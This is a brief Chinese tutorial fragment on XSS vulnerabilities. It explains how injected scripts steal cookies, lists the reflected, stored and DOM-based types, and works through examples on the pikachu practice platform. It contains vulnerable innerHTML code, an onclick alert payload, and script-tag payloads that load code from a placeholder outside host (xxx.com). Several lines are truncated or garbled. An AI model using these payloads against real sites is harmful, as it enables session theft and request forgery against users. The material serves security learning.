XSS漏洞产生原理
XSS攻击涉及到三方,分别是:攻击者、用户和web服务器。
用户通过浏览器访问web网页,攻击者通过一些办法在用户访问页面的时候插入一些脚本,用户在访问页面的时候执行这个脚本,攻击者通过脚本执行获得用户的信息,如cookie,从而获取用户隐私信息,或者可以伪造用户请求等。
XSS漏洞危害影响
被动型,需要受害者主动触发
类型 | 说明 |
---|---|
反射型 | 服务端返回脚本,客户端执行 |
存储型 | 后台存储了非法脚本,并且前端直接展示 |
DOM-Based型 | 基于DOM或本地的XSS攻击 |
测试平台:pikachu
测试平台:pikachu
测试平台:pikachu
4. 查看源代码如下:
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?a>";
"<a href='#' onclick="alert(2)">'>what do you see?a>"
标签语法替换
name=<script src=http://xxx.com>script>
name=<script src="http://xxx.com"
name=